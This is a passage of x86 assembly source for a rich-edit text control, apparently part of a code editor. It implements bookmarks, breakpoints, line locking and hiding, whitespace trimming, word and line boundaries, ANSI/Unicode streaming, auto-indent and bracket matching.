SkipSpc .else jmp SkipSpcNf .endif .endif .endif xor eax,eax .else xor eax,eax dec eax .endif retn SkipSpcNf: mov esp,espsave jmp Nf OptSkipWord: push ecx .while ecx<[edi].CHARS.len mov al,[esi] inc esi mov ah,[edi+ecx+sizeof CHARS] inc ecx .if al==VK_SPACE && (ah==VK_SPACE || ah==VK_TAB) pop eax retn .endif .if al>='a' && al<='z' and al,5Fh .endif .if ah>='a' && ah<='z' and ah,5Fh .endif .if al!=ah .while byte ptr [esi-1]!=VK_SPACE inc esi .endw .break .endif .endw pop ecx retn SkipWord: .if ecx<[edi].CHARS.len movzx eax,byte ptr [edi+ecx+sizeof CHARS] .if eax!=VK_TAB && eax!=' ' && eax!=':' lea eax,[eax+offset CharTab] mov al,[eax] .if al==CT_CHAR || al==CT_HICHAR inc ecx jmp SkipWord .else .if al==CT_CMNTCHAR mov ecx,[edi].CHARS.len .endif xor eax,eax dec eax retn .endif .endif xor eax,eax .else xor eax,eax dec eax .endif retn @@: inc esi inc ecx mov al,[esi] .if ecx>=[edi].CHARS.len && al xor eax,eax dec eax retn .endif TestWord: mov ax,[esi] or al,al je @f .if al==' ' mov ax,[edi+ecx+sizeof CHARS] .if al==' ' || al==VK_TAB call SkipSpc call SkipCmnt dec ecx jmp @b .elseif al=='(' dec ecx jmp @b .else xor eax,eax dec eax retn .endif .elseif ax=='(#' inc esi .while ecx<[edi].CHARS.len .break .if byte ptr [edi+ecx+sizeof CHARS]=='(' inc ecx .endw xor eax,eax .if byte ptr [edi+ecx+sizeof CHARS]!='(' dec eax .endif retn .elseif ax=='$$' add esi,3 .while ecx<[edi].CHARS.len push esi call TestWord .if !eax pop eax xor eax,eax retn .endif pop esi inc ecx .endw .elseif ax=='!$' add esi,3 .while ecx<[edi].CHARS.len push esi call SkipSpc call SkipCmnt call TestWord .if !eax call SkipSpc call SkipCmnt pop eax mov al,[edi+ecx+sizeof CHARS] .if al==VK_RETURN || ecx==[edi].CHARS.len xor eax,eax .else movzx eax,al lea eax,[eax+offset CharTab] mov al,[eax] .if al==CT_CMNTCHAR xor eax,eax .else xor eax,eax dec eax .endif .endif retn .endif pop esi inc ecx .endw .elseif al=='*' xor eax,eax push ecx movzx ecx,byte ptr [edi+ecx+sizeof CHARS] movzx ecx,byte ptr [ecx+offset CharTab] .if ecx!=CT_CHAR dec eax .endif pop ecx retn .elseif al=='!' .if byte ptr [esi-1]!=' ' mov al,[edi+ecx+sizeof CHARS] .if al!=' ' && al!=VK_TAB && al!=VK_RETURN xor eax,eax dec eax retn .endif .endif call SkipSpc call SkipCmnt .if ecx==[edi].CHARS.len xor eax,eax retn .endif inc esi mov tmpesi,esi mov ax,[esi] .while TRUE push ecx call TestWord pop edx inc eax .break .if eax mov esi,tmpesi mov ecx,edx call SkipWord .if eax inc ecx .endif call SkipSpc call SkipCmnt xor eax,eax .break .if ecx>=[edi].CHARS.len .endw retn .elseif ax==' $' call SkipWord call SkipSpc call SkipCmnt inc esi inc esi jmp TestWord .endif mov ah,[edi+ecx+sizeof CHARS] .if al>='a' && al<='z' and al,5Fh .endif .if ah>='a' && ah<='z' and ah,5Fh .endif cmp al,'$' je @f cmp al,ah je @b xor eax,eax dec eax retn @@: .if al=='$' xor eax,eax .if ecx<[edi].CHARS.len push ecx movzx ecx,byte ptr [edi+ecx+sizeof CHARS] movzx ecx,byte ptr [ecx+offset CharTab] .if ecx==CT_CHAR || ecx==CT_HICHAR inc eax .endif pop ecx .endif dec eax .else xor eax,eax .if ecx<[edi].CHARS.len push ecx movzx ecx,byte ptr [edi+ecx+sizeof CHARS] movzx ecx,byte ptr [ecx+offset CharTab] .if ecx==CT_CHAR || ecx==CT_HICHAR dec eax .endif pop ecx .elseif ecx>[edi].CHARS.len dec eax .endif .endif retn IsLine endp SetBookMark proc uses ebx,hMem:DWORD,nLine:DWORD,nType:DWORD mov ebx,hMem mov edx,nLine shl edx,2 xor eax,eax .if edx<[ebx].EDIT.rpLineFree add edx,[ebx].EDIT.hLine mov edx,[edx].LINE.rpChars add edx,[ebx].EDIT.hChars mov eax,nType shl eax,4 and eax,STATE_BMMASK and [edx].CHARS.state,-1 xor STATE_BMMASK or [edx].CHARS.state,eax inc nBmid test [edx].CHARS.state,STATE_HIDDEN .if ZERO? mov eax,nBmid mov [edx].CHARS.bmid,eax .endif .endif ret SetBookMark endp GetBookMark proc uses ebx,hMem:DWORD,nLine:DWORD mov ebx,hMem xor eax,eax dec eax mov edx,nLine shl edx,2 .if edx<[ebx].EDIT.rpLineFree add edx,[ebx].EDIT.hLine mov edx,[edx].LINE.rpChars add edx,[ebx].EDIT.hChars mov eax,[edx].CHARS.state and eax,STATE_BMMASK shr eax,4 .endif ret GetBookMark endp ClearBookMarks proc uses ebx esi edi,hMem:DWORD,nType:DWORD mov ebx,hMem and nType,15 mov eax,nType shl eax,4 xor edi,edi .while edi<[ebx].EDIT.rpLineFree mov edx,edi add edx,[ebx].EDIT.hLine mov edx,[edx].LINE.rpChars add edx,[ebx].EDIT.hChars mov ecx,[edx].CHARS.state and ecx,STATE_BMMASK .if eax==ecx and [edx].CHARS.state,-1 xor STATE_BMMASK test [edx].CHARS.state,STATE_HIDDEN .if ZERO? mov [edx].CHARS.bmid,0 .endif .endif add edi,sizeof LINE .endw ret ClearBookMarks endp NextBookMark proc uses ebx esi edi,hMem:DWORD,nLine:DWORD,nType:DWORD LOCAL fExpand:DWORD mov ebx,hMem mov eax,nType and nType,15 and eax,80000000h mov fExpand,eax mov edi,nLine inc edi shl edi,2 xor eax,eax dec eax .while edi<[ebx].EDIT.rpLineFree mov edx,edi add edx,[ebx].EDIT.hLine mov edx,[edx].LINE.rpChars add edx,[ebx].EDIT.hChars mov ecx,[edx].CHARS.state and ecx,STATE_BMMASK shr ecx,4 .if ecx==nType mov eax,edi shr eax,2 .break .endif add edi,sizeof LINE .endw ret NextBookMark endp NextBreakpoint proc uses ebx edi,hMem:DWORD,nLine:DWORD mov ebx,hMem mov edi,nLine inc edi shl edi,2 xor eax,eax dec eax .while edi<[ebx].EDIT.rpLineFree mov edx,edi add edx,[ebx].EDIT.hLine mov edx,[edx].LINE.rpChars add edx,[ebx].EDIT.hChars test [edx].CHARS.state,STATE_BREAKPOINT .if !ZERO? mov eax,edi shr eax,2 .break .endif add edi,sizeof LINE .endw ret NextBreakpoint endp NextError proc uses ebx edi,hMem:DWORD,nLine:DWORD mov ebx,hMem mov edi,nLine inc edi shl edi,2 xor eax,eax dec eax .while edi<[ebx].EDIT.rpLineFree mov edx,edi add edx,[ebx].EDIT.hLine mov edx,[edx].LINE.rpChars add edx,[ebx].EDIT.hChars .if [edx].CHARS.errid mov eax,edi shr eax,2 .break .endif add edi,sizeof LINE .endw ret NextError endp PreviousBookMark proc uses ebx esi edi,hMem:DWORD,nLine:DWORD,nType:DWORD LOCAL fExpand:DWORD mov ebx,hMem mov eax,nType and nType,15 and eax,80000000h mov fExpand,eax xor eax,eax dec eax mov edi,nLine dec edi shl edi,2 .while sdword ptr edi>=0 @@: mov edx,edi add edx,[ebx].EDIT.hLine mov edx,[edx].LINE.rpChars add edx,[ebx].EDIT.hChars mov ecx,[edx].CHARS.state and ecx,STATE_BMMASK shr ecx,4 .if ecx==nType mov eax,edi shr eax,2 .break .endif sub edi,sizeof LINE .endw ret PreviousBookMark endp LockLine proc uses ebx,hMem:DWORD,nLine:DWORD,fLock:DWORD mov ebx,hMem mov eax,nLine shl eax,2 .if eax<[ebx].EDIT.rpLineFree add eax,[ebx].EDIT.hLine mov eax,[eax].LINE.rpChars add eax,[ebx].EDIT.hChars .if fLock or [eax].CHARS.state,STATE_LOCKED .else and [eax].CHARS.state,-1 xor STATE_LOCKED .endif .endif ret LockLine endp IsLineLocked proc uses ebx,hMem:DWORD,nLine:DWORD mov ebx,hMem xor eax,eax test [ebx].EDIT.fstyle,STYLE_READONLY .if ZERO? mov edx,nLine shl edx,2 .if edx<[ebx].EDIT.rpLineFree add edx,[ebx].EDIT.hLine mov edx,[edx].LINE.rpChars add edx,[ebx].EDIT.hChars mov eax,[edx].CHARS.state and eax,STATE_LOCKED .endif .else inc eax .endif ret IsLineLocked endp HideLine proc uses ebx,hMem:DWORD,nLine:DWORD,fHide:DWORD mov ebx,hMem mov eax,nLine shl eax,2 .if eax<[ebx].EDIT.rpLineFree add eax,[ebx].EDIT.hLine mov eax,[eax].LINE.rpChars add eax,[ebx].EDIT.hChars .if fHide test [eax].CHARS.state,STATE_HIDDEN .if ZERO? mov ecx,[eax].CHARS.len .if byte ptr [eax+ecx+sizeof CHARS-1]==0Dh or [eax].CHARS.state,STATE_HIDDEN inc [ebx].EDIT.nHidden call SetYP xor eax,eax inc eax jmp Ex .endif .endif .else test [eax].CHARS.state,STATE_HIDDEN .if !ZERO? and [eax].CHARS.state,-1 xor STATE_HIDDEN dec [ebx].EDIT.nHidden call SetYP xor eax,eax inc eax jmp Ex .endif .endif .endif xor eax,eax Ex: ret SetYP: mov edx,nLine xor eax,eax .if edx<[ebx].EDIT.edta.topln mov [ebx].EDIT.edta.topyp,eax mov [ebx].EDIT.edta.topln,eax mov [ebx].EDIT.edta.topcp,eax .endif .if edx<[ebx].EDIT.edtb.topln mov [ebx].EDIT.edtb.topyp,eax mov [ebx].EDIT.edtb.topln,eax mov [ebx].EDIT.edtb.topcp,eax .endif retn HideLine endp IsLineHidden proc uses ebx,hMem:DWORD,nLine:DWORD mov ebx,hMem mov eax,nLine shl eax,2 .if eax<[ebx].EDIT.rpLineFree add eax,[ebx].EDIT.hLine mov eax,[eax].LINE.rpChars add eax,[ebx].EDIT.hChars mov eax,[eax].CHARS.state and eax,STATE_HIDDEN .else xor eax,eax .endif ret IsLineHidden endp NoBlockLine proc uses ebx,hMem:DWORD,nLine:DWORD,fNoBlock:DWORD mov ebx,hMem mov eax,nLine shl eax,2 .if eax<[ebx].EDIT.rpLineFree add eax,[ebx].EDIT.hLine mov eax,[eax].LINE.rpChars add eax,[ebx].EDIT.hChars .if fNoBlock or [eax].CHARS.state,STATE_NOBLOCK .else and [eax].CHARS.state,-1 xor STATE_NOBLOCK .endif .endif ret NoBlockLine endp IsLineNoBlock proc uses ebx,hMem:DWORD,nLine:DWORD mov ebx,hMem mov eax,nLine shl eax,2 .if eax<[ebx].EDIT.rpLineFree add eax,[ebx].EDIT.hLine mov eax,[eax].LINE.rpChars add eax,[ebx].EDIT.hChars mov eax,[eax].CHARS.state and eax,STATE_NOBLOCK .else xor eax,eax .endif ret IsLineNoBlock endp AltHiliteLine proc uses ebx,hMem:DWORD,nLine:DWORD,fAltHilite:DWORD mov ebx,hMem mov eax,nLine shl eax,2 .if eax<[ebx].EDIT.rpLineFree add eax,[ebx].EDIT.hLine mov eax,[eax].LINE.rpChars add eax,[ebx].EDIT.hChars .if fAltHilite or [eax].CHARS.state,STATE_ALTHILITE .else and [eax].CHARS.state,-1 xor STATE_ALTHILITE .endif .endif ret AltHiliteLine endp IsLineAltHilite proc uses ebx,hMem:DWORD,nLine:DWORD mov ebx,hMem mov eax,nLine shl eax,2 .if eax<[ebx].EDIT.rpLineFree add eax,[ebx].EDIT.hLine mov eax,[eax].LINE.rpChars add eax,[ebx].EDIT.hChars mov eax,[eax].CHARS.state and eax,STATE_ALTHILITE .else xor eax,eax .endif ret IsLineAltHilite endp SetBreakpoint proc uses ebx,hMem:DWORD,nLine:DWORD,fBreakpoint:DWORD mov ebx,hMem mov eax,nLine shl eax,2 .if eax<[ebx].EDIT.rpLineFree add eax,[ebx].EDIT.hLine mov eax,[eax].LINE.rpChars add eax,[ebx].EDIT.hChars .if fBreakpoint or [eax].CHARS.state,STATE_BREAKPOINT .else and [eax].CHARS.state,-1 xor STATE_BREAKPOINT .endif .endif ret SetBreakpoint endp SetError proc uses ebx,hMem:DWORD,nLine:DWORD,nErrID:DWORD mov ebx,hMem mov eax,nLine shl eax,2 .if eax<[ebx].EDIT.rpLineFree add eax,[ebx].EDIT.hLine mov eax,[eax].LINE.rpChars add eax,[ebx].EDIT.hChars mov edx,nErrID mov [eax].CHARS.errid,edx .endif ret SetError endp GetError proc uses ebx,hMem:DWORD,nLine:DWORD mov ebx,hMem mov edx,nLine shl edx,2 xor eax,eax .if edx<[ebx].EDIT.rpLineFree add edx,[ebx].EDIT.hLine mov edx,[edx].LINE.rpChars add edx,[ebx].EDIT.hChars mov eax,[edx].CHARS.errid .endif ret GetError endp SetRedText proc uses ebx,hMem:DWORD,nLine:DWORD,fRed:DWORD mov ebx,hMem mov eax,nLine shl eax,2 .if eax<[ebx].EDIT.rpLineFree add eax,[ebx].EDIT.hLine mov eax,[eax].LINE.rpChars add eax,[ebx].EDIT.hChars .if fRed or [eax].CHARS.state,STATE_REDTEXT .else and [eax].CHARS.state,-1 xor STATE_REDTEXT .endif .endif ret SetRedText endp GetLineState proc uses ebx,hMem:DWORD,nLine:DWORD mov ebx,hMem mov edx,nLine shl edx,2 xor eax,eax .if edx<[ebx].EDIT.rpLineFree add edx,[ebx].EDIT.hLine mov edx,[edx].LINE.rpChars add edx,[ebx].EDIT.hChars mov eax,[edx].CHARS.state .endif ret GetLineState endp IsSelectionLocked proc uses ebx,hMem:DWORD,cpMin:DWORD,cpMax:DWORD LOCAL nLineMax:DWORD mov ebx,hMem mov eax,cpMin .if eax>cpMax xchg eax,cpMax mov cpMin,eax .endif invoke GetCharPtr,ebx,cpMax mov nLineMax,edx invoke GetCharPtr,ebx,cpMin .while edx<=nLineMax push edx invoke IsLineLocked,ebx,edx pop edx or eax,eax jne Ex inc edx .endw Ex: ret IsSelectionLocked endp TrimSpace proc uses ebx edi,hMem:DWORD,nLine:DWORD,fLeft:DWORD LOCAL cp:DWORD mov ebx,hMem mov edi,nLine invoke GetCpFromLine,ebx,edi mov cp,eax shl edi,2 xor edx,edx .if edi<[ebx].EDIT.rpLineFree add edi,[ebx].EDIT.hLine mov edi,[edi].LINE.rpChars add edi,[ebx].EDIT.hChars mov edx,[edi].CHARS.len .if edx .if fLeft ;Left trim (Not implemented) xor ecx,ecx .else ;Right trim push edx mov al,[edi+edx+sizeof CHARS-1] push eax .if al==0Dh dec edx .endif mov ecx,edx @@: mov al,[edi+ecx+sizeof CHARS-1] .if al==' ' || al==VK_TAB dec ecx jne @b .endif mov eax,cp add eax,ecx sub edx,ecx push edx lea edx,[edi+ecx+sizeof CHARS] pop ecx .if ecx push ecx invoke SaveUndo,ebx,UNDO_DELETEBLOCK,eax,edx,ecx pop ecx .endif pop eax .if ecx sub [edi].CHARS.len,ecx mov edx,[edi].CHARS.len .if al==0Dh mov [edi+edx+sizeof CHARS-1],al .endif and [edi].CHARS.state,-1 xor (STATE_CHANGED or STATE_CHANGESAVED) or [edi].CHARS.state,STATE_CHANGED .endif pop edx sub edx,ecx .endif .endif .endif .if ecx push edx xor eax,eax mov [ebx].EDIT.edta.topyp,eax mov [ebx].EDIT.edta.topln,eax mov [ebx].EDIT.edta.topcp,eax mov [ebx].EDIT.edtb.topyp,eax mov [ebx].EDIT.edtb.topln,eax mov [ebx].EDIT.edtb.topcp,eax .if ![ebx].EDIT.fChanged mov [ebx].EDIT.fChanged,TRUE invoke InvalidateRect,[ebx].EDIT.hsta,NULL,TRUE .endif invoke GetTopFromYp,ebx,[ebx].EDIT.edta.hwnd,[ebx].EDIT.edta.cpy invoke GetTopFromYp,ebx,[ebx].EDIT.edtb.hwnd,[ebx].EDIT.edtb.cpy invoke InvalidateLine,ebx,[ebx].EDIT.edta.hwnd,nLine invoke InvalidateLine,ebx,[ebx].EDIT.edtb.hwnd,nLine inc [ebx].EDIT.nchange pop edx .endif Ex: mov eax,edx ret TrimSpace endp SkipSpace proc uses ebx esi,hMem:DWORD,cp:DWORD,fLeft:DWORD mov ebx,hMem invoke GetCharPtr,ebx,cp mov esi,[ebx].EDIT.rpChars add esi,[ebx].EDIT.hChars mov edx,eax .if !fLeft @@: .if edx<[esi].CHARS.len mov al,[esi+edx+sizeof CHARS] .if al==' ' || al==VK_TAB inc edx jmp @b .endif .endif .else @@: .if edx mov al,[esi+edx+sizeof CHARS-1] .if al==' ' || al==VK_TAB dec edx jmp @b .endif .endif .endif mov eax,[ebx].EDIT.cpLine add eax,edx ret SkipSpace endp SkipWhiteSpace proc uses ebx esi,hMem:DWORD,cp:DWORD,fLeft:DWORD mov ebx,hMem invoke GetCharPtr,ebx,cp mov esi,[ebx].EDIT.rpChars add esi,[ebx].EDIT.hChars mov edx,eax .if !fLeft @@: .if edx<[esi].CHARS.len mov al,[esi+edx+sizeof CHARS] invoke IsChar .if al!=1 inc edx jmp @b .endif .endif .else @@: .if edx mov al,[esi+edx+sizeof CHARS] invoke IsChar .if al!=1 dec edx jmp @b .endif .endif .endif mov eax,[ebx].EDIT.cpLine add eax,edx ret SkipWhiteSpace endp GetWordStart proc uses ebx esi,hMem:DWORD,cp:DWORD,nType:DWORD mov ebx,hMem invoke GetCharPtr,ebx,cp mov esi,[ebx].EDIT.rpChars add esi,[ebx].EDIT.hChars mov edx,eax @@: .if edx mov al,[esi+edx+sizeof CHARS-1] .if al=='.' && nType dec edx jmp @b .elseif al=='>' && nType==2 && edx>2 .if byte ptr [esi+edx+sizeof CHARS-2]=='-' dec edx dec edx jmp @b .endif .elseif al==')' && nType==2 xor ecx,ecx .while edx>1 mov al,[esi+edx+sizeof CHARS-1] .if al==")" inc ecx .elseif al=='(' dec ecx .if !ecx dec edx .break .endif .endif dec edx .endw jmp @b .else invoke IsChar .endif .if al==1 dec edx jmp @b .endif .endif mov eax,[ebx].EDIT.cpLine add eax,edx ret GetWordStart endp GetLineStart proc uses ebx,hMem:DWORD,cp:DWORD mov ebx,hMem invoke GetCharPtr,ebx,cp mov eax,[ebx].EDIT.cpLine ret GetLineStart endp GetTabPos proc uses ebx esi,hMem:DWORD,cp:DWORD mov ebx,hMem invoke GetCharPtr,ebx,cp mov esi,[ebx].EDIT.rpChars add esi,[ebx].EDIT.hChars mov edx,eax xor eax,eax xor ecx,ecx .while sdword ptr ecx<edx inc eax .if byte ptr [esi+ecx+sizeof CHARS]==VK_TAB || eax==[ebx].EDIT.nTab xor eax,eax .endif inc ecx .endw ret GetTabPos endp GetWordEnd proc uses ebx esi,hMem:DWORD,cp:DWORD,nType:DWORD mov ebx,hMem invoke GetCharPtr,ebx,cp mov esi,[ebx].EDIT.rpChars add esi,[ebx].EDIT.hChars mov edx,eax @@: .if edx<[esi].CHARS.len mov al,[esi+edx+sizeof CHARS] .if al=='.' && nType inc edx jmp @b .elseif al=='-' && nType==2 && byte ptr [esi+edx+sizeof CHARS+1]=='>' inc edx inc edx jmp @b .elseif al=='(' && nType==2 xor ecx,ecx .while edx<[esi].CHARS.len mov al,[esi+edx+sizeof CHARS] .if al=="(" inc ecx .elseif al==')' dec ecx .if !ecx inc edx .break .endif .endif inc edx .endw jmp @b .else invoke IsChar .endif .if al==1 inc edx jmp @b .endif .endif mov eax,[ebx].EDIT.cpLine add eax,edx ret GetWordEnd endp GetLineEnd proc uses ebx esi,hMem:DWORD,cp:DWORD mov ebx,hMem invoke GetCharPtr,ebx,cp mov esi,[ebx].EDIT.rpChars add esi,[ebx].EDIT.hChars mov edx,eax @@: .if edx<[esi].CHARS.len mov al,[esi+edx+sizeof CHARS] invoke IsChar .if al==1 inc edx jmp @b .endif .endif mov eax,[ebx].EDIT.cpLine add eax,[esi].CHARS.len dec eax .if byte ptr [esi+eax+sizeof CHARS]==VK_RETURN dec eax .endif ret GetLineEnd endp StreamIn proc uses ebx esi edi,hMem:DWORD,lParam:DWORD LOCAL hCMem:DWORD LOCAL dwRead:DWORD LOCAL fUnicode:DWORD mov ebx,hMem invoke xGlobalAlloc,GMEM_FIXED or GMEM_ZEROINIT,MAXSTREAM*3+4096 mov hCMem,eax invoke GlobalLock,hCMem xor edi,edi mov dwRead,edi mov fUnicode,edi @@: mov esi,hCMem add esi,MAXSTREAM call ReadChars or eax,eax jne @f .if dwRead .if !fUnicode movzx eax,word ptr [esi] .if eax==0FEFFh && dwRead>=2 ;Unicode mov eax,2 mov [ebx].EDIT.funicode,TRUE mov fUnicode,eax add esi,eax sub dwRead,eax .else mov fUnicode,1 mov [ebx].EDIT.funicode,FALSE .endif .endif .if fUnicode==2 mov edx,dwRead shr edx,1 invoke WideCharToMultiByte,CP_ACP,0,esi,edx,hCMem,MAXSTREAM,NULL,NULL mov dwRead,eax mov esi,hCMem .endif xor ecx,ecx .while ecx<dwRead push ecx movzx eax,byte ptr [esi+ecx] .if eax!=0Ah invoke InsertChar,ebx,edi,eax .endif pop ecx inc edi inc ecx .endw jmp @b .endif @@: invoke GlobalUnlock,hCMem invoke GlobalFree,hCMem mov [ebx].EDIT.nHidden,0 ret ReadChars: mov edx,lParam mov [edx].EDITSTREAM.dwError,0 lea eax,dwRead push eax mov eax,MAXSTREAM push eax mov eax,esi push eax push [edx].EDITSTREAM.dwCookie call [edx].EDITSTREAM.pfnCallback retn StreamIn endp StreamOut proc uses ebx esi edi,hMem:DWORD,lParam:DWORD LOCAL dwWrite:DWORD LOCAL hCMem:DWORD LOCAL nChars:DWORD mov ebx,hMem invoke xGlobalAlloc,GMEM_FIXED or GMEM_ZEROINIT,MAXSTREAM*3+4096 mov hCMem,eax invoke GlobalLock,hCMem mov esi,[ebx].EDIT.hLine .if [ebx].EDIT.funicode ; Save as unicode mov eax,hCMem mov word ptr [eax],0FEFFh mov nChars,2 call StreamAnsi @@: call FillCMem or ecx,ecx je Ex call StreamUnicode or eax,eax je @b .else ; Save as ansi @@: call FillCMem or ecx,ecx je Ex call StreamAnsi or eax,eax je @b .endif Ex: invoke GlobalUnlock,hCMem invoke GlobalFree,hCMem ret StreamUnicode: mov eax,hCMem add eax,MAXSTREAM+1024 invoke MultiByteToWideChar,CP_ACP,0,hCMem,nChars,eax,MAXSTREAM+1024 mov edx,lParam mov [edx].EDITSTREAM.dwError,0 lea eax,dwWrite push eax mov eax,nChars shl eax,1 push eax mov eax,hCMem add eax,MAXSTREAM+1024 push eax mov eax,[edx].EDITSTREAM.dwCookie push eax call [edx].EDITSTREAM.pfnCallback retn StreamAnsi: mov edx,lParam mov [edx].EDITSTREAM.dwError,0 lea eax,dwWrite push eax push nChars push hCMem mov eax,[edx].EDITSTREAM.dwCookie push eax call [edx].EDITSTREAM.pfnCallback retn FillCMem: xor ecx,ecx xor edx,edx mov nChars,ecx mov eax,esi sub eax,[ebx].EDIT.hLine .if eax<[ebx].EDIT.rpLineFree push esi mov edi,hCMem mov esi,[esi].LINE.rpChars add esi,[ebx].EDIT.hChars .while ecx<[esi].CHARS.len mov al,[esi+ecx+sizeof CHARS] mov [edi],al inc ecx inc edi inc nChars .if al==0Dh mov byte ptr [edi],0Ah inc edx inc edi inc nChars .endif .if nChars>=MAXSTREAM pushad .if [ebx].EDIT.funicode call StreamUnicode .else call StreamAnsi .endif popad mov edi,hCMem mov nChars,0 .endif .endw pop esi add esi,sizeof LINE .endif add ecx,edx retn StreamOut endp HiliteLine proc uses ebx,hMem:DWORD,nLine:DWORD,nColor:DWORD mov ebx,hMem mov edx,nLine shl edx,2 .if edx<[ebx].EDIT.rpLineFree add edx,[ebx].EDIT.hLine mov edx,[edx].LINE.rpChars add edx,[ebx].EDIT.hChars and [edx].CHARS.state,-1 xor STATE_HILITEMASK mov eax,nColor and eax,STATE_HILITEMASK or [edx].CHARS.state,eax invoke InvalidateLine,ebx,[ebx].EDIT.edta.hwnd,nLine invoke InvalidateLine,ebx,[ebx].EDIT.edtb.hwnd,nLine .endif xor eax,eax ret HiliteLine endp SelChange proc uses ebx,hMem:DWORD,nType:DWORD LOCAL sc:RASELCHANGE mov ebx,hMem .if [ebx].EDIT.cpbrst!=-1 mov [ebx].EDIT.cpbrst,-1 mov [ebx].EDIT.cpbren,-1 invoke InvalidateEdit,ebx,[ebx].EDIT.edta.hwnd invoke InvalidateEdit,ebx,[ebx].EDIT.edtb.hwnd .endif invoke GetCharPtr,hMem,[ebx].EDIT.cpMin mov edx,[ebx].EDIT.ID mov eax,[ebx].EDIT.hwnd mov sc.nmhdr.hwndFrom,eax mov sc.nmhdr.idFrom,edx mov sc.nmhdr.code,EN_SELCHANGE test [ebx].EDIT.nMode,MODE_BLOCK .if ZERO? mov eax,[ebx].EDIT.cpMin mov sc.chrg.cpMin,eax mov eax,[ebx].EDIT.cpMax mov sc.chrg.cpMax,eax .else mov eax,[ebx].EDIT.cpLine add eax,[ebx].EDIT.blrg.clMin mov sc.chrg.cpMin,eax mov sc.chrg.cpMax,eax .endif mov eax,nType mov sc.seltyp,ax mov eax,[ebx].EDIT.line mov sc.line,eax mov eax,[ebx].EDIT.cpLine mov sc.cpLine,eax mov eax,[ebx].EDIT.rpChars add eax,[ebx].EDIT.hChars mov sc.lpLine,eax mov eax,[ebx].EDIT.rpLineFree shr eax,2 dec eax mov sc.nlines,eax mov eax,[ebx].EDIT.nHidden mov sc.nhidden,eax mov eax,[ebx].EDIT.nchange sub eax,[ebx].EDIT.nlastchange .if eax add [ebx].EDIT.nlastchange,eax mov eax,TRUE .endif mov sc.fchanged,eax mov ecx,[ebx].EDIT.nPageBreak xor eax,eax .if ecx mov eax,[ebx].EDIT.line xor edx,edx div ecx .endif mov sc.npage,eax mov eax,[ebx].EDIT.nWordGroup mov sc.nWordGroup,eax .if ![ebx].EDIT.nsplitt mov eax,[ebx].EDIT.cpMin mov [ebx].EDIT.edta.cp,eax mov [ebx].EDIT.edtb.cp,eax .endif mov eax,[ebx].EDIT.line .if eax!=[ebx].EDIT.lastline .if [ebx].EDIT.fhilite invoke HiliteLine,ebx,[ebx].EDIT.lastline,0 invoke HiliteLine,ebx,[ebx].EDIT.line,[ebx].EDIT.fhilite .endif mov eax,[ebx].EDIT.line mov [ebx].EDIT.lastline,eax .endif invoke SendMessage,[ebx].EDIT.hpar,WM_NOTIFY,[ebx].EDIT.ID,addr sc ret SelChange endp AutoIndent proc uses ebx esi,hMem:DWORD LOCAL nLine:DWORD mov ebx,hMem invoke GetLineFromCp,ebx,[ebx].EDIT.cpMin .if eax mov nLine,eax xor edx,edx push [ebx].EDIT.fOvr mov [ebx].EDIT.fOvr,FALSE @@: mov eax,nLine mov esi,[ebx].EDIT.hLine lea esi,[esi+eax*sizeof LINE-sizeof LINE] mov esi,[esi].LINE.rpChars add esi,[ebx].EDIT.hChars .if edx<[esi].CHARS.len movzx eax,byte ptr [esi+edx+sizeof CHARS] .if al==' ' || al==VK_TAB push edx push eax invoke InsertChar,ebx,[ebx].EDIT.cpMin,eax pop eax invoke SaveUndo,ebx,UNDO_INSERT,[ebx].EDIT.cpMin,eax,1 mov eax,[ebx].EDIT.cpMin inc eax mov [ebx].EDIT.cpMin,eax mov [ebx].EDIT.cpMax,eax pop edx inc edx jmp @b .endif .endif pop [ebx].EDIT.fOvr .endif ret AutoIndent endp IsCharPos proc uses ebx esi,hMem:DWORD,cp:DWORD LOCAL nMax:DWORD mov ebx,hMem invoke GetCharPtr,ebx,cp mov nMax,eax mov esi,[ebx].EDIT.rpChars add esi,[ebx].EDIT.hChars test [esi].CHARS.state,STATE_COMMENT .if ZERO? xor ecx,ecx .while ecx<nMax .if [ebx].EDIT.ccmntblocks==1 && word ptr [esi+ecx+sizeof CHARS]=="*/" add ecx,2 .while ecx<nMax .break .if word ptr [esi+ecx+sizeof CHARS]=="/*" inc ecx .endw .if word ptr [esi+ecx+sizeof CHARS]=="/*" add ecx,2 .else ;On comment block mov eax,1 jmp Ex .endif .elseif [ebx].EDIT.ccmntblocks==2 && word ptr [esi+ecx+sizeof CHARS]=="'/" add ecx,2 .while ecx<nMax .break .if word ptr [esi+ecx+sizeof CHARS]=="/'" inc ecx .endw .if word ptr [esi+ecx+sizeof CHARS]=="/'" add ecx,2 .else ;On comment block mov eax,1 jmp Ex .endif .else movzx eax,byte ptr [esi+ecx+sizeof CHARS] mov al,byte ptr [eax+offset CharTab] .if al==CT_CMNTCHAR mov eax,2 jmp Ex .elseif al==CT_CMNTDBLCHAR mov al,byte ptr [esi+ecx+sizeof CHARS] mov ah,byte ptr [esi+ecx+sizeof CHARS+1] .if al==ah || ah=='*' mov eax,2 jmp Ex .endif .elseif al==CT_STRING mov al,byte ptr [esi+ecx+sizeof CHARS] .while ecx<nMax inc ecx .break .if al==byte ptr [esi+ecx+sizeof CHARS] .endw .if ecx>=nMax mov eax,3 jmp Ex .endif .endif inc ecx .endif .endw xor eax,eax .else ;On comment block mov eax,1 .endif Ex: ret IsCharPos endp BracketMatchRight proc uses ebx esi edi,hMem:DWORD,nChr:DWORD,nMatch:DWORD,cp:DWORD LOCAL nCount:DWORD mov ebx,hMem mov nCount,0 invoke GetCharPtr,ebx,cp mov edx,eax mov edi,[ebx].EDIT.hChars add edi,[ebx].EDIT.rpChars .while edx<=[edi].CHARS.len mov al,byte ptr nMatch mov ah,byte ptr nChr mov cl,byte ptr bracketcont mov ch,byte ptr bracketcont+1 .if al==byte ptr [edi+edx+sizeof CHARS] push edx invoke IsCharPos,ebx,cp pop edx .if !eax dec nCount .if ZERO? mov eax,edx add eax,[ebx].EDIT.cpLine ret .endif .endif .elseif ah==byte ptr [edi+edx+sizeof CHARS] push edx invoke IsCharPos,ebx,cp pop edx .if !eax inc nCount .endif .elseif (cl==byte ptr [edi+edx+sizeof CHARS] || ch==byte ptr [edi+edx+sizeof CHARS]) && edx<=[edi].CHARS.len .if byte ptr [edi+edx+sizeof CHARS]!=VK_RETURN push edx invoke IsCharPos,ebx,cp pop edx inc edx inc cp .if !eax .while (byte ptr [edi+edx+sizeof CHARS]==VK_SPACE || byte ptr [edi+edx+sizeof CHARS]==VK_TAB) && edx<[edi].CHARS.len inc edx inc cp .endw .endif .if byte ptr [edi+edx+sizeof 